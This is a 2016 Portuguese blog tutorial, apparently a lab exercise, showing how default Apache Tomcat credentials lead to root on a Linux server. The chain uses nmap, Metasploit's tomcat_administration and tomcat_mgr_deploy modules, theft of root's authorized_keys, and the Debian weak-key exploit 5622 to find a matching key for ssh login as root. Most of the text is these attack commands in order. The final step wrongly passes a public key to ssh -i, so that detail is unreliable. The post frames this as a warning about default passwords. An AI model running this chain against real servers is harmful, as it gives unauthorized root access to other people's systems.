domingo, 24 de julho de 2016

Explorando vulnerabilidade de credenciais padrões no apache tomcat e conseguindo acesso root ao servidor Linux

Boa noite a todos

Um grande problema que ocorre no nosso mundo virtual, é que por descuido de muitos administradores de rede ou de sistemas operacionais, deixam roteadores, aplicações e exijam credenciais e etc com usuário e senhas padrões, e isso é uma arma nas mãos de um cracker que por qualquer momento pode alem de explorar estas vulnerabilidades, conseguem obter acesso FULL ao servidor, mostrarei abaixo o que ocorre quando deixamos credenciais padrões em nossas aplicações, no exemplo usarei o servidor apache tomcat

1 - Usando o Kali Linux, iniciamos o nmap para fazer a verificação da porta 8180 que é a porta padrão do apache tomcat, veja abaixo




Vimos que a porta 8180 está aberta o que nos mostra que existe uma possivel vulnerabilidade

2 - Ao verificarmos a porta, iniciamos o metasploit para explorarmos o apache tomcat, para isso digitamos o comando msfconsole no terminal


3 - Após entrarmos na console do metasploit, digitamos o comando use auxiliary/admin/http/tomcat_administration, e em seguida colocamos set RHOSTS <ip da vitima> e set THREADS 5 (não obrigatório essa opção), após inserirmos os dados, digitamos o comando exploit, conforme as imagens abaixo.




Repare que ao digitarmos exploit na aba grifada em branco, temos o usuário e senha do tomcat, usuário tomcat e senha tomcat, justamente o que precisamos.

4 - Depois de conseguir o usuário e senha, ainda na console do metasploit digite o comando use exploit/multi/http/tomcat_mgr_deploy, conforme imagem abaixo.


5 - Agora que temos os dados, digitamos os comandos set RHOST <ip da vitima>, set USERNAME tomcat, set PASSWORD tomcat e set RPORT 8180 (porta do apache tomcat) e vejam o resultado abaixo.



Bingo !!! conseguimos acesso ao servidor, porem com o usuário tomcat55, o que queremos é elevar o privilégio acessando o servidor como root (supersusário de sistemas Linux), para isso digitamos conforme a imagem acima o comando cat /root/.ssh/authorized_keys a authorized_keys ficam armazenadas todas as chaves ssh "autorizadas" para determinado acesso, com isso copiamos a chave.

6 - Após copiarmos a chave, abrimos um outro terminal e digitamos o comando /usr/share/exploitdb/searchsploit openssl, para procurarmos exploits relacionados ao openssl 


7 - Na imagem acima temos diversos exploits para openssl, iremos escolher o exploit /linux/remote/5622.txt e com isso, digitamos o comando cat /usr/share/exploitdb/platforms/linux/remote/5622.txt.


8 - No conteúdo do arquivo, temos 2 links para download, iremos fazer o download no segundo link do arquivo que contem diversas chaves publicas ssh, para isso usamos o comando wget -c <caminho do arquivo>



9 - Ao efetuarmos o download, iremos extrair o conteúdo da pasta compactada usando o comando tar -xjvf <arquivo>.tar.bz2 (Lembrando que o -xvjf é para formatos .bz2).




10 - Ao extrair digitamos o comando cd /root/5622/rsa/2048 (pode ser qualquer outro nome de pasta) e ao acessar a pasta, digitamos o comando grep -lr <chave da authorized_keys do root> *.pub


11 - Repare que ao filtrarmos com o grep, ele nos mostrou a chave publica, é com essa chave que iremos acesso root via ssh, caso o root não utilize senha, iremos conseguir o acesso, para isso digitamos ssh -i <chave publica>.pub root@<ip da vitima>.


BINGO !!!! conseguimos o acesso de root no servidor remoto, ou seja de uma simples credencial padrão do tomcat, conseguimos acesso FULL ao servidor.


Espero que tenham gostado e lembre-se "Um hacker só consegue invadir um computador quando ele for convidado"

Abs